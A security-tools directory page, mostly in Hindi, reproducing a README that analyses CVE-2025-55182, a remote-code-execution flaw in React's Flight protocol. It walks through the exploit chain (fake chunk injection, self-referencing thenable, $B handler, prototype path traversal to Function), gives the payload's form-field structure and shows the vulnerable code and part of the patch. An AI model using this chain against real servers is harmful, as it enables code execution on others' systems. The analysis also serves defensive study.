Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182 — CVE-2025-55182 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो React के Flight Protocol में एक गंभीर RCE भेद्यता है। इसमें पाथ ट्रैवर्सल, फर्जी चंक इंजेक्शन, और WAF बायपास तकनीकों को शामिल किया गया है। | Kitploit
उपकरण/GitHubGitHub/hulh122/cve-2025-55182
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणWAF बाईपासलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubhulh122/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो React के Flight Protocol में एक गंभीर RCE भेद्यता है। इसमें पाथ ट्रैवर्सल, फर्जी चंक इंजेक्शन, और WAF बायपास तकनीकों को शामिल किया गया है।

रिपॉजिटरी देखें
189 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 React के Flight Protocol में एक गंभीर RCE भेद्यता है। यह हमला पाथ ट्रावर्सल + नकली चंक इंजेक्शन + $B हैंडलर दुरुपयोग की श्रृंखला बनाकर Function(attacker_code) को निष्पादित करता है।

कार्यशील शोषण श्रृंखला के लिए maple3142 को बड़ा धन्यवाद!


एक्सप्लॉइट

हमले का अवलोकन

यह एक्सप्लॉइट एक दुर्भावनापूर्ण पेलोड बनाने के लिए तीन फ़ॉर्म फ़ील्ड का उपयोग करता है:

  1. स्व-संदर्भित then के साथ एक नकली चंक ऑब्जेक्ट बनाता है (फ़ील्ड 1 $@0 → फ़ील्ड 0)
  2. _formData.get के साथ एक नकली _response एम्बेड करता है जो $1:constructor:constructor पर सेट है
  3. $B हैंडलर को ट्रिगर करता है जो response._formData.get(response._prefix + id) को कॉल करता है
  4. पाथ ट्रावर्सल _formData.get → Function को हल करता है, और Function(code) को निष्पादित करता है

शोषण प्रवाह```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### मुख्य घटक

| घटक | उद्देश्य |
|-----------|---------|
| `then: "$1:__proto__:then"` | स्व-संदर्भित thenable; चंक 1 (`$@0`) चंक 0 पर वापस इंगित करता है |
| `status: "resolved_model"` | ऑब्जेक्ट को मान्य React चंक के रूप में प्रदर्शित करता है |
| `reason: -1` | rootReference को undefined सेट करता है (संदर्भ टकराव से बचाता है) |
| `value: '{"then":"$B1337"}'` | नेस्टेड पेलोड जो `$B` हैंडलर को ट्रिगर करता है |
| `_response._prefix` | RCE कोड स्ट्रिंग शामिल करता है |
| `_response._chunks: "$Q2"` | चंक प्रोसेसिंग के दौरान क्रैश को रोकने के लिए खाली Map |
| `_response._formData.get` | `$1:constructor:constructor` के माध्यम से `Function` की ओर इंगित करता है |

### घटक विस्तृत विवरण

#### फ़ॉर्म फ़ील्ड संरचना

यह एक्सप्लॉइट सर्कुलर संदर्भों वाले तीन फ़ॉर्म फ़ील्ड का उपयोग करता है:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

स्व-संदर्भित Thenable (then)

then: "$1:__proto__:then" एक स्व-संदर्भ बनाता है जो एक वास्तविक फ़ंक्शन में रिज़ॉल्व होता है:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**यह महत्वपूर्ण क्यों है:**

1. `then` `Chunk.prototype.then` पर resolve होता है - एक वास्तविक callable फ़ंक्शन
2. यह नकली ऑब्जेक्ट को एक वैध thenable बनाता है
3. जब await किया जाता है, JS `obj.then(resolve, reject)` को कॉल करता है
4. `Chunk.prototype.then` नकली ऑब्जेक्ट को `this` के रूप में लेकर निष्पादित होता है:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) this._response - हमलावर के नकली _response का उपयोग करता है:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**स्व-संदर्भ के बिना**, नकली `_response` कभी उपयोग नहीं किया जाएगा। स्व-संदर्भ `Chunk.prototype.then` को हमलावर की वस्तु को वास्तविक Chunk के रूप में मानने पर मजबूर करता है।

#### दो-चरणीय Thenable ट्रिगर (`value`)

`value` फ़ील्ड में एक नेस्टेड JSON स्ट्रिंग होती है जिसमें एक और thenable होता है:```json
{"then":"$B1337"}

चरण 1: बाहरी ऑब्जेक्ट का स्व-संदर्भित then चंक प्रोसेसिंग ट्रिगर करता है

चरण 2: जब React मॉडल को resolve करता है, तो यह value को parse करता है और then: "$B1337" के साथ एक और thenable का सामना करता है। $B प्रीफ़िक्स हैंडलर को ट्रिगर करता है:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` है `"$1:constructor:constructor"` → `getOutlinedModel()` `Function` में हल होता है।

यह बन जाता है: `Function(code + "1337")` → मान्य JS क्योंकि `1337` केवल एक trailing expression है।

#### Defensive Padding (`_chunks`)

नकली `_response` को क्रैश रोकने के लिए एक मान्य `_chunks` प्रॉपर्टी की आवश्यकता होती है:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

React का आंतरिक कोड प्रोसेसिंग के दौरान response._chunks.get() या response._chunks.has() को एक्सेस कर सकता है। एक खाली Map इन कॉलों को बिना त्रुटि के संतुष्ट करता है, जिससे निष्पादन भेद्य $B हैंडलर तक पहुँच सकता है।


भेद्य कोड पथ

पथफ़ंक्शनएक्सप्लॉइट में उद्देश्य
पथ ट्रैवर्सलgetOutlinedModel()$1:constructor:constructor → Function को हल करता है
नकली _response इंजेक्शनinitializeModelChunk()हमलावर के chunk._response का उपयोग करता है
$B हैंडलरparseModelString()_formData.get(_prefix + id) → RCE को कॉल करता है

decodeReply() प्रवेश बिंदु है, और स्वयं भेद्य नहीं है।

पथ ट्रैवर्सल (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**नकली प्रतिक्रिया उपयोग** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B हैंडलर RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## सुधार (19.2.1)

पैच में कई सुधार शामिल हैं:

1. **`RESPONSE_SYMBOL` में `initializeModelChunk()`** - महत्वपूर्ण सुधार   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);
टूल डाउनलोड करें